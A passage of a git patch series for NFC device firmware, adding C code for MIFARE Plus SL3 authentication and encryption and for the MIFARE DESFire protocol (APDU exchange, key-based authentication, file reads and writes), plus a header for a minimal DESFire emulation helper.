8, rnd_a + 8, 4); + memcpy(ses_enc + 12, rnd_b + 8, 4); + + memcpy(ses_auth + 0, rnd_a + 4, 4); + memcpy(ses_auth + 4, rnd_b + 4, 4); + memcpy(ses_auth + 8, rnd_a + 12, 4); + memcpy(ses_auth + 12, rnd_b + 12, 4); +} + +static hb_nfc_err_t mfp_sl3_auth(uint8_t ins, + mfp_session_t* session, + uint16_t block_addr, + const uint8_t key[16]) +{ + if (!session || !session->dep_ready || !key) return HB_NFC_ERR_PARAM; + session->authenticated = false; + + uint8_t cmd1[9] = { + MFP_CLA, ins, 0x00, 0x00, 0x03, + (uint8_t)(block_addr >> 8), + (uint8_t)(block_addr & 0xFF), + 0x00, + 0x00 + }; + + uint8_t resp[64]; + int rlen = mfp_apdu_transceive(session, cmd1, sizeof(cmd1), + resp, sizeof(resp), 0); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + uint16_t sw = (uint16_t)((resp[rlen - 2] << 8) | resp[rlen - 1]); + int data_len = rlen - 2; + if (data_len != 16 || sw != MFP_SW_MORE) return HB_NFC_ERR_PROTOCOL; + + uint8_t rndB[16]; + uint8_t iv0[16] = {0}; + if (!nfc_aes_cbc_crypt(false, key, iv0, resp, 16, rndB, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA[16]; + rand_bytes(rndA, sizeof(rndA)); + uint8_t rndB_rot[16]; + rotate_left_1(rndB_rot, rndB, sizeof(rndB)); + + uint8_t plain[32]; + memcpy(plain, rndA, 16); + memcpy(&plain[16], rndB_rot, 16); + + uint8_t enc2[32]; + if (!nfc_aes_cbc_crypt(true, key, iv0, plain, sizeof(plain), enc2, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t cmd2[38] = { MFP_CLA, 0xAF, 0x00, 0x00, 0x20 }; + memcpy(cmd2 + 5, enc2, 32); + cmd2[37] = 0x00; + + rlen = mfp_apdu_transceive(session, cmd2, sizeof(cmd2), + resp, sizeof(resp), 0); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + sw = (uint16_t)((resp[rlen - 2] << 8) | resp[rlen - 1]); + data_len = rlen - 2; + if (data_len != 16 || sw != MFP_SW_OK) return HB_NFC_ERR_PROTOCOL; + + uint8_t rndA_prime[16]; + if (!nfc_aes_cbc_crypt(false, key, iv0, resp, 16, rndA_prime, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA_rot[16]; + rotate_left_1(rndA_rot, rndA, sizeof(rndA)); + if (nfc_memcmp_ct(rndA_rot, rndA_prime, 16) != 0) return HB_NFC_ERR_AUTH; + + mfp_sl3_derive_session_keys(rndA, rndB, session->ses_enc, session->ses_auth); + memset(session->iv_enc, 0, sizeof(session->iv_enc)); + memset(session->iv_mac, 0, sizeof(session->iv_mac)); + session->authenticated = true; + return HB_NFC_OK; +} + +hb_nfc_err_t mfp_sl3_auth_first(mfp_session_t* session, + uint16_t block_addr, + const uint8_t key[16]) +{ + return mfp_sl3_auth(0x70, session, block_addr, key); +} + +hb_nfc_err_t mfp_sl3_auth_nonfirst(mfp_session_t* session, + uint16_t block_addr, + const uint8_t key[16]) +{ + return mfp_sl3_auth(0x76, session, block_addr, key); +} + +int mfp_sl3_compute_mac(const mfp_session_t* session, + const uint8_t* data, + size_t data_len, + uint8_t mac8[8]) +{ + if (!session || !session->authenticated || !mac8) return -1; + uint8_t full[16]; + if (nfc_aes_cmac(session->ses_auth, 16, data, data_len, full) != 0) return -1; + memcpy(mac8, full, 8); + return 0; +} + +size_t mfp_sl3_encrypt(mfp_session_t* session, + const uint8_t* plain, + size_t plain_len, + uint8_t* out, + size_t out_max) +{ + if (!session || !session->authenticated || !out) return 0; + size_t padded_len = nfc_iso9797_pad_method1(plain, plain_len, out, out_max); + if (padded_len == 0) return 0; + + uint8_t iv_in[16]; + memcpy(iv_in, session->iv_enc, 16); + if (!nfc_aes_cbc_crypt(true, session->ses_enc, iv_in, + out, padded_len, out, session->iv_enc)) { + return 0; + } + return padded_len; +} + +size_t mfp_sl3_decrypt(mfp_session_t* session, + const uint8_t* enc, + size_t enc_len, + uint8_t* out, + size_t out_max) +{ + if (!session || !session->authenticated || !enc || !out) return 0; + if ((enc_len % 16) != 0 || enc_len > out_max) return 0; + + uint8_t iv_in[16]; + memcpy(iv_in, session->iv_enc, 16); + if (!nfc_aes_cbc_crypt(false, session->ses_enc, iv_in, + enc, enc_len, out, session->iv_enc)) { + return 0; + } + return enc_len; +} + +#undef TAG From 6cdcc9af2ca887daf5754e0de9718b0e29dd1bed Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:17:44 -0300 Subject: [PATCH 42/61] feat(nfc): add DESFire protocol and emulation --- .../nfc/protocols/mifare/include/mf_desfire.h | 145 ++++ .../protocols/mifare/include/mf_desfire_emu.h | 26 + .../nfc/protocols/mifare/mf_desfire.c | 629 ++++++++++++++++++ .../nfc/protocols/mifare/mf_desfire_emu.c | 130 ++++ 4 files changed, 930 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h new file mode 100644 index 00000000..566aa4ab --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h @@ -0,0 +1,145 @@ +#ifndef MF_DESFIRE_H +#define MF_DESFIRE_H + +#include +#include +#include + +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define MF_DESFIRE_CLA 0x90 +#define MF_DESFIRE_CMD_ADDITIONAL 0xAF +#define MF_DESFIRE_SW_OK 0x9100 +#define MF_DESFIRE_SW_MORE 0x91AF + +#define MF_DESFIRE_CMD_GET_VERSION 0x60 +#define MF_DESFIRE_CMD_SELECT_APP 0x5A +#define MF_DESFIRE_CMD_GET_APP_IDS 0x6A +#define MF_DESFIRE_CMD_GET_KEY_SET 0x45 +#define MF_DESFIRE_CMD_AUTH_3DES 0x0A +#define MF_DESFIRE_CMD_AUTH_AES 0xAA +#define MF_DESFIRE_CMD_AUTH_EV2_FIRST 0x71 +#define MF_DESFIRE_CMD_AUTH_EV2_NONFIRST 0x77 +#define MF_DESFIRE_CMD_GET_FILE_IDS 0x6F +#define MF_DESFIRE_CMD_READ_DATA 0xBD +#define MF_DESFIRE_CMD_WRITE_DATA 0x3D +#define MF_DESFIRE_CMD_COMMIT_TRANSACTION 0xC7 +#define MF_DESFIRE_CMD_ABORT_TRANSACTION 0xA7 + +typedef enum { + MF_DESFIRE_KEY_DES = 0, + MF_DESFIRE_KEY_2K3DES, + MF_DESFIRE_KEY_3K3DES, + MF_DESFIRE_KEY_AES, +} mf_desfire_key_type_t; + +typedef struct { + uint8_t aid[3]; +} mf_desfire_aid_t; + +typedef struct { + uint8_t hw[7]; + uint8_t sw[7]; + uint8_t uid[7]; + uint8_t batch[7]; +} mf_desfire_version_t; + +typedef struct { + nfc_iso_dep_data_t dep; + bool dep_ready; + bool authenticated; + bool ev2_authenticated; + mf_desfire_key_type_t key_type; + uint8_t key_no; + uint8_t session_key[16]; + uint8_t iv[16]; + uint8_t ev2_ti[4]; + uint16_t ev2_cmd_ctr; + uint8_t ev2_ses_mac[16]; + uint8_t ev2_ses_enc[16]; + uint8_t ev2_pd_cap2[6]; + uint8_t ev2_pcd_cap2[6]; +} mf_desfire_session_t; + +hb_nfc_err_t mf_desfire_poller_init(const nfc_iso14443a_data_t* card, + mf_desfire_session_t* session); + +int mf_desfire_apdu_transceive(mf_desfire_session_t* session, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms); + +hb_nfc_err_t mf_desfire_transceive_native(mf_desfire_session_t* session, + uint8_t cmd, + const uint8_t* data, + size_t data_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw); + +hb_nfc_err_t mf_desfire_get_version(mf_desfire_session_t* session, + mf_desfire_version_t* out); + +hb_nfc_err_t mf_desfire_select_application(mf_desfire_session_t* session, + const mf_desfire_aid_t* aid); + +hb_nfc_err_t mf_desfire_authenticate_ev1_3des(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]); + +hb_nfc_err_t mf_desfire_authenticate_ev1_aes(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]); + +hb_nfc_err_t mf_desfire_authenticate_ev2_first(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]); + +hb_nfc_err_t mf_desfire_authenticate_ev2_nonfirst(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]); + +hb_nfc_err_t mf_desfire_get_application_ids(mf_desfire_session_t* session, + uint8_t* out, + size_t out_max, + size_t* out_len); + +hb_nfc_err_t mf_desfire_get_file_ids(mf_desfire_session_t* session, + uint8_t* out, + size_t out_max, + size_t* out_len); + +hb_nfc_err_t mf_desfire_get_key_settings(mf_desfire_session_t* session, + uint8_t* key_settings, + uint8_t* max_keys); + +hb_nfc_err_t mf_desfire_read_data(mf_desfire_session_t* session, + uint8_t file_id, + uint32_t offset, + uint32_t length, + uint8_t* out, + size_t out_max, + size_t* out_len); + +hb_nfc_err_t mf_desfire_write_data(mf_desfire_session_t* session, + uint8_t file_id, + uint32_t offset, + const uint8_t* data, + size_t data_len); + +hb_nfc_err_t mf_desfire_commit_transaction(mf_desfire_session_t* session); +hb_nfc_err_t mf_desfire_abort_transaction(mf_desfire_session_t* session); + +#ifdef __cplusplus +} +#endif + +#endif /* MF_DESFIRE_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h new file mode 100644 index 00000000..50f46b7a --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h @@ -0,0 +1,26 @@ +/** + * @file mf_desfire_emu.h + * @brief Minimal MIFARE DESFire (native) APDU emulation helpers. + */ +#ifndef MF_DESFIRE_EMU_H +#define MF_DESFIRE_EMU_H + +#include +#include + +/** Reset DESFire emu session state. */ +void mf_desfire_emu_reset(void); + +/** + * Handle a DESFire native APDU (CLA=0x90). + * + * @param apdu input APDU buffer + * @param apdu_len input length + * @param out output buffer (data + SW1 SW2) + * @param out_len output length + * @return true if handled, false if not a DESFire APDU + */ +bool mf_desfire_emu_handle_apdu(const uint8_t* apdu, int apdu_len, + uint8_t* out, int* out_len); + +#endif /* MF_DESFIRE_EMU_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c new file mode 100644 index 00000000..e969e62f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c @@ -0,0 +1,629 @@ +#include "mf_desfire.h" + +#include +#include "esp_log.h" +#include "esp_random.h" + +#include "iso_dep.h" +#include "nfc_crypto.h" +#include "mbedtls/aes.h" +#include "mbedtls/des.h" + +#define TAG "mf_desfire" + +static int build_native_apdu(uint8_t cmd, + const uint8_t* data, + size_t data_len, + uint8_t* apdu, + size_t apdu_max) +{ + size_t need = 5 + data_len + 1; + if (!apdu || apdu_max < need) return 0; + apdu[0] = MF_DESFIRE_CLA; + apdu[1] = cmd; + apdu[2] = 0x00; + apdu[3] = 0x00; + apdu[4] = (uint8_t)data_len; + if (data_len > 0 && data) { + memcpy(&apdu[5], data, data_len); + } + apdu[5 + data_len] = 0x00; /* Le */ + return (int)need; +} + +static void rand_bytes(uint8_t* out, size_t len) +{ + if (!out || len == 0) return; + for (size_t i = 0; i < len; i += 4) { + uint32_t r = esp_random(); + size_t left = len - i; + size_t n = left < 4 ? left : 4; + memcpy(&out[i], &r, n); + } +} + +static void rotate_left_1(uint8_t* out, const uint8_t* in, size_t len) +{ + if (!out || !in || len == 0) return; + for (size_t i = 0; i < len - 1; i++) out[i] = in[i + 1]; + out[len - 1] = in[0]; +} + +static bool des3_cbc_crypt(bool encrypt, + const uint8_t key[16], + const uint8_t iv_in[8], + const uint8_t* in, + size_t len, + uint8_t* out, + uint8_t iv_out[8]) +{ + if (!key || !iv_in || !in || !out || (len % 8) != 0) return false; + + mbedtls_des3_context ctx; + mbedtls_des3_init(&ctx); + int rc = encrypt ? mbedtls_des3_set2key_enc(&ctx, key) + : mbedtls_des3_set2key_dec(&ctx, key); + if (rc != 0) { + mbedtls_des3_free(&ctx); + return false; + } + + uint8_t iv[8]; + memcpy(iv, iv_in, 8); + rc = mbedtls_des3_crypt_cbc(&ctx, encrypt ? MBEDTLS_DES_ENCRYPT : MBEDTLS_DES_DECRYPT, + len, iv, in, out); + if (iv_out) memcpy(iv_out, iv, 8); + mbedtls_des3_free(&ctx); + return rc == 0; +} + +static bool aes_cbc_crypt(bool encrypt, + const uint8_t key[16], + const uint8_t iv_in[16], + const uint8_t* in, + size_t len, + uint8_t* out, + uint8_t iv_out[16]) +{ + if (!key || !iv_in || !in || !out || (len % 16) != 0) return false; + + mbedtls_aes_context ctx; + mbedtls_aes_init(&ctx); + int rc = encrypt ? mbedtls_aes_setkey_enc(&ctx, key, 128) + : mbedtls_aes_setkey_dec(&ctx, key, 128); + if (rc != 0) { + mbedtls_aes_free(&ctx); + return false; + } + + uint8_t iv[16]; + memcpy(iv, iv_in, 16); + rc = mbedtls_aes_crypt_cbc(&ctx, + encrypt ? MBEDTLS_AES_ENCRYPT : MBEDTLS_AES_DECRYPT, + len, iv, in, out); + if (iv_out) memcpy(iv_out, iv, 16); + mbedtls_aes_free(&ctx); + return rc == 0; +} + +static int desfire_send_native_once(mf_desfire_session_t* session, + uint8_t cmd, + const uint8_t* data, + size_t data_len, + uint8_t* out, + size_t out_max, + uint16_t* sw) +{ + if (!session || !session->dep_ready || !out) return 0; + + uint8_t apdu[300]; + int apdu_len = build_native_apdu(cmd, data, data_len, apdu, sizeof(apdu)); + if (apdu_len <= 0) return 0; + + int rlen = mf_desfire_apdu_transceive(session, apdu, (size_t)apdu_len, out, out_max, 0); + if (rlen < 2) return 0; + + if (sw) *sw = (uint16_t)((out[rlen - 2] << 8) | out[rlen - 1]); + return rlen - 2; +} + +hb_nfc_err_t mf_desfire_poller_init(const nfc_iso14443a_data_t* card, + mf_desfire_session_t* session) +{ + if (!card || !session) return HB_NFC_ERR_PARAM; + memset(session, 0, sizeof(*session)); + + hb_nfc_err_t err = iso_dep_rats(8, 0, &session->dep); + if (err == HB_NFC_OK) { + session->dep_ready = true; + } + return err; +} + +int mf_desfire_apdu_transceive(mf_desfire_session_t* session, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!session || !session->dep_ready) return 0; + return iso_dep_apdu_transceive(&session->dep, apdu, apdu_len, rx, rx_max, timeout_ms); +} + +hb_nfc_err_t mf_desfire_transceive_native(mf_desfire_session_t* session, + uint8_t cmd, + const uint8_t* data, + size_t data_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw) +{ + if (!session || !session->dep_ready || !out || !out_len) return HB_NFC_ERR_PARAM; + + *out_len = 0; + if (sw) *sw = 0; + + uint8_t apdu[300]; + int apdu_len = build_native_apdu(cmd, data, data_len, apdu, sizeof(apdu)); + if (apdu_len <= 0) return HB_NFC_ERR_PARAM; + + uint8_t rx[300]; + int rlen = mf_desfire_apdu_transceive(session, apdu, (size_t)apdu_len, rx, sizeof(rx), 0); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + + while (1) { + uint16_t status = (uint16_t)((rx[rlen - 2] << 8) | rx[rlen - 1]); + int data_len_rx = rlen - 2; + + if (data_len_rx > 0) { + size_t copy = (*out_len + (size_t)data_len_rx <= out_max) + ? (size_t)data_len_rx + : (out_max > *out_len ? (out_max - *out_len) : 0); + if (copy > 0) { + memcpy(&out[*out_len], rx, copy); + *out_len += copy; + } + } + + if (sw) *sw = status; + if (status != MF_DESFIRE_SW_MORE) break; + + apdu_len = build_native_apdu(MF_DESFIRE_CMD_ADDITIONAL, NULL, 0, apdu, sizeof(apdu)); + if (apdu_len <= 0) return HB_NFC_ERR_PARAM; + rlen = mf_desfire_apdu_transceive(session, apdu, (size_t)apdu_len, rx, sizeof(rx), 0); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + } + + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_get_version(mf_desfire_session_t* session, + mf_desfire_version_t* out) +{ + if (!session || !out) return HB_NFC_ERR_PARAM; + + uint8_t buf[64]; + size_t len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_GET_VERSION, + NULL, 0, buf, sizeof(buf), &len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != MF_DESFIRE_SW_OK) return HB_NFC_ERR_PROTOCOL; + if (len < (7 + 7 + 7 + 7)) return HB_NFC_ERR_PROTOCOL; + + memcpy(out->hw, &buf[0], 7); + memcpy(out->sw, &buf[7], 7); + memcpy(out->uid, &buf[14], 7); + memcpy(out->batch, &buf[21], 7); + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_select_application(mf_desfire_session_t* session, + const mf_desfire_aid_t* aid) +{ + if (!session || !aid) return HB_NFC_ERR_PARAM; + uint8_t buf[16]; + size_t len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_SELECT_APP, + aid->aid, sizeof(aid->aid), + buf, sizeof(buf), &len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t mf_desfire_authenticate_ev1_3des(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]) +{ + if (!session || !session->dep_ready || !key) return HB_NFC_ERR_PARAM; + session->authenticated = false; + + uint8_t data_in[32]; + uint16_t sw = 0; + int len = desfire_send_native_once(session, MF_DESFIRE_CMD_AUTH_3DES, + &key_no, 1, data_in, sizeof(data_in), &sw); + if (len != 8 || sw != MF_DESFIRE_SW_MORE) return HB_NFC_ERR_PROTOCOL; + + uint8_t iv0[8] = { 0 }; + uint8_t rndB[8]; + if (!des3_cbc_crypt(false, key, iv0, data_in, 8, rndB, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA[8]; + rand_bytes(rndA, sizeof(rndA)); + uint8_t rndB_rot[8]; + rotate_left_1(rndB_rot, rndB, sizeof(rndB)); + + uint8_t plain[16]; + memcpy(plain, rndA, 8); + memcpy(&plain[8], rndB_rot, 8); + + uint8_t enc2[16]; + uint8_t iv2[8]; + if (!des3_cbc_crypt(true, key, data_in, plain, sizeof(plain), enc2, iv2)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t data_out[32]; + len = desfire_send_native_once(session, MF_DESFIRE_CMD_ADDITIONAL, + enc2, sizeof(enc2), data_out, sizeof(data_out), &sw); + if (len != 8 || sw != MF_DESFIRE_SW_OK) return HB_NFC_ERR_PROTOCOL; + + uint8_t rndA_rot[8]; + if (!des3_cbc_crypt(false, key, iv2, data_out, 8, rndA_rot, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA_rot_exp[8]; + rotate_left_1(rndA_rot_exp, rndA, sizeof(rndA)); + if (nfc_memcmp_ct(rndA_rot, rndA_rot_exp, 8) != 0) return HB_NFC_ERR_AUTH; + + /* Session key: A0..3 || B0..3 || A4..7 || B4..7 */ + session->session_key[0] = rndA[0]; + session->session_key[1] = rndA[1]; + session->session_key[2] = rndA[2]; + session->session_key[3] = rndA[3]; + session->session_key[4] = rndB[0]; + session->session_key[5] = rndB[1]; + session->session_key[6] = rndB[2]; + session->session_key[7] = rndB[3]; + session->session_key[8] = rndA[4]; + session->session_key[9] = rndA[5]; + session->session_key[10] = rndA[6]; + session->session_key[11] = rndA[7]; + session->session_key[12] = rndB[4]; + session->session_key[13] = rndB[5]; + session->session_key[14] = rndB[6]; + session->session_key[15] = rndB[7]; + + memcpy(session->iv, iv2, 8); + memset(&session->iv[8], 0, 8); + session->authenticated = true; + session->key_type = MF_DESFIRE_KEY_2K3DES; + session->key_no = key_no; + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_authenticate_ev1_aes(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]) +{ + if (!session || !session->dep_ready || !key) return HB_NFC_ERR_PARAM; + session->authenticated = false; + + uint8_t data_in[48]; + uint16_t sw = 0; + int len = desfire_send_native_once(session, MF_DESFIRE_CMD_AUTH_AES, + &key_no, 1, data_in, sizeof(data_in), &sw); + if (len != 16 || sw != MF_DESFIRE_SW_MORE) return HB_NFC_ERR_PROTOCOL; + + uint8_t iv0[16] = { 0 }; + uint8_t rndB[16]; + if (!aes_cbc_crypt(false, key, iv0, data_in, 16, rndB, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA[16]; + rand_bytes(rndA, sizeof(rndA)); + uint8_t rndB_rot[16]; + rotate_left_1(rndB_rot, rndB, sizeof(rndB)); + + uint8_t plain[32]; + memcpy(plain, rndA, 16); + memcpy(&plain[16], rndB_rot, 16); + + uint8_t enc2[32]; + uint8_t iv2[16]; + if (!aes_cbc_crypt(true, key, data_in, plain, sizeof(plain), enc2, iv2)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t data_out[48]; + len = desfire_send_native_once(session, MF_DESFIRE_CMD_ADDITIONAL, + enc2, sizeof(enc2), data_out, sizeof(data_out), &sw); + if (len != 16 || sw != MF_DESFIRE_SW_OK) return HB_NFC_ERR_PROTOCOL; + + uint8_t rndA_rot[16]; + if (!aes_cbc_crypt(false, key, iv2, data_out, 16, rndA_rot, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA_rot_exp[16]; + rotate_left_1(rndA_rot_exp, rndA, sizeof(rndA)); + if (nfc_memcmp_ct(rndA_rot, rndA_rot_exp, 16) != 0) return HB_NFC_ERR_AUTH; + + /* Session key: A0..3 || B0..3 || A12..15 || B12..15 */ + session->session_key[0] = rndA[0]; + session->session_key[1] = rndA[1]; + session->session_key[2] = rndA[2]; + session->session_key[3] = rndA[3]; + session->session_key[4] = rndB[0]; + session->session_key[5] = rndB[1]; + session->session_key[6] = rndB[2]; + session->session_key[7] = rndB[3]; + session->session_key[8] = rndA[12]; + session->session_key[9] = rndA[13]; + session->session_key[10] = rndA[14]; + session->session_key[11] = rndA[15]; + session->session_key[12] = rndB[12]; + session->session_key[13] = rndB[13]; + session->session_key[14] = rndB[14]; + session->session_key[15] = rndB[15]; + + memcpy(session->iv, iv2, 16); + session->authenticated = true; + session->key_type = MF_DESFIRE_KEY_AES; + session->key_no = key_no; + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_authenticate_ev2_first(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]) +{ + if (!session || !session->dep_ready || !key) return HB_NFC_ERR_PARAM; + session->authenticated = false; + session->ev2_authenticated = false; + + uint8_t data_in[64]; + uint16_t sw = 0; + uint8_t cmd_data[2] = { key_no, 0x00 }; + int len = desfire_send_native_once(session, MF_DESFIRE_CMD_AUTH_EV2_FIRST, + cmd_data, sizeof(cmd_data), + data_in, sizeof(data_in), &sw); + if (len != 16 || sw != MF_DESFIRE_SW_MORE) return HB_NFC_ERR_PROTOCOL; + + uint8_t iv0[16] = { 0 }; + uint8_t rndB[16]; + if (!aes_cbc_crypt(false, key, iv0, data_in, 16, rndB, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA[16]; + rand_bytes(rndA, sizeof(rndA)); + uint8_t rndB_rot[16]; + rotate_left_1(rndB_rot, rndB, sizeof(rndB)); + + uint8_t plain[32]; + memcpy(plain, rndA, 16); + memcpy(&plain[16], rndB_rot, 16); + + uint8_t enc2[32]; + if (!aes_cbc_crypt(true, key, iv0, plain, sizeof(plain), enc2, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t resp[64]; + len = desfire_send_native_once(session, MF_DESFIRE_CMD_ADDITIONAL, + enc2, sizeof(enc2), resp, sizeof(resp), &sw); + if (len != 32 || sw != MF_DESFIRE_SW_OK) return HB_NFC_ERR_PROTOCOL; + + uint8_t resp_plain[32]; + if (!aes_cbc_crypt(false, key, iv0, resp, 32, resp_plain, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + memcpy(session->ev2_ti, resp_plain, 4); + + uint8_t rndA_rot[16]; + rotate_left_1(rndA_rot, rndA, sizeof(rndA)); + if (nfc_memcmp_ct(rndA_rot, resp_plain + 4, 16) != 0) return HB_NFC_ERR_AUTH; + + memcpy(session->ev2_pd_cap2, resp_plain + 20, 6); + memcpy(session->ev2_pcd_cap2, resp_plain + 26, 6); + + session->ev2_cmd_ctr = 0; + nfc_ev2_derive_session_keys(key, rndA, rndB, + session->ev2_ses_mac, + session->ev2_ses_enc); + session->authenticated = true; + session->ev2_authenticated = true; + session->key_type = MF_DESFIRE_KEY_AES; + session->key_no = key_no; + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_authenticate_ev2_nonfirst(mf_desfire_session_t* session, + uint8_t key_no, + const uint8_t key[16]) +{ + if (!session || !session->dep_ready || !key) return HB_NFC_ERR_PARAM; + if (!session->ev2_authenticated) return HB_NFC_ERR_AUTH; + + uint8_t data_in[64]; + uint16_t sw = 0; + int len = desfire_send_native_once(session, MF_DESFIRE_CMD_AUTH_EV2_NONFIRST, + &key_no, 1, data_in, sizeof(data_in), &sw); + if (len != 16 || sw != MF_DESFIRE_SW_MORE) return HB_NFC_ERR_PROTOCOL; + + uint8_t iv0[16] = { 0 }; + uint8_t rndB[16]; + if (!aes_cbc_crypt(false, key, iv0, data_in, 16, rndB, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rndA[16]; + rand_bytes(rndA, sizeof(rndA)); + uint8_t rndB_rot[16]; + rotate_left_1(rndB_rot, rndB, sizeof(rndB)); + + uint8_t plain[32]; + memcpy(plain, rndA, 16); + memcpy(&plain[16], rndB_rot, 16); + + uint8_t enc2[32]; + if (!aes_cbc_crypt(true, key, iv0, plain, sizeof(plain), enc2, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t resp[64]; + len = desfire_send_native_once(session, MF_DESFIRE_CMD_ADDITIONAL, + enc2, sizeof(enc2), resp, sizeof(resp), &sw); + if (len != 32 || sw != MF_DESFIRE_SW_OK) return HB_NFC_ERR_PROTOCOL; + + uint8_t resp_plain[32]; + if (!aes_cbc_crypt(false, key, iv0, resp, 32, resp_plain, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + if (nfc_memcmp_ct(resp_plain, session->ev2_ti, 4) != 0) return HB_NFC_ERR_AUTH; + + uint8_t rndA_rot[16]; + rotate_left_1(rndA_rot, rndA, sizeof(rndA)); + if (nfc_memcmp_ct(rndA_rot, resp_plain + 4, 16) != 0) return HB_NFC_ERR_AUTH; + + nfc_ev2_derive_session_keys(key, rndA, rndB, + session->ev2_ses_mac, + session->ev2_ses_enc); + session->authenticated = true; + session->ev2_authenticated = true; + session->key_type = MF_DESFIRE_KEY_AES; + session->key_no = key_no; + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_get_application_ids(mf_desfire_session_t* session, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!session || !out || !out_len) return HB_NFC_ERR_PARAM; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_GET_APP_IDS, + NULL, 0, out, out_max, out_len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t mf_desfire_get_file_ids(mf_desfire_session_t* session, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!session || !out || !out_len) return HB_NFC_ERR_PARAM; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_GET_FILE_IDS, + NULL, 0, out, out_max, out_len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t mf_desfire_get_key_settings(mf_desfire_session_t* session, + uint8_t* key_settings, + uint8_t* max_keys) +{ + if (!session || !key_settings || !max_keys) return HB_NFC_ERR_PARAM; + uint8_t buf[8]; + size_t len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_GET_KEY_SET, + NULL, 0, buf, sizeof(buf), &len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != MF_DESFIRE_SW_OK || len < 2) return HB_NFC_ERR_PROTOCOL; + *key_settings = buf[0]; + *max_keys = buf[1]; + return HB_NFC_OK; +} + +hb_nfc_err_t mf_desfire_read_data(mf_desfire_session_t* session, + uint8_t file_id, + uint32_t offset, + uint32_t length, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!session || !out || !out_len) return HB_NFC_ERR_PARAM; + uint8_t params[7]; + params[0] = file_id; + params[1] = (uint8_t)(offset & 0xFF); + params[2] = (uint8_t)((offset >> 8) & 0xFF); + params[3] = (uint8_t)((offset >> 16) & 0xFF); + params[4] = (uint8_t)(length & 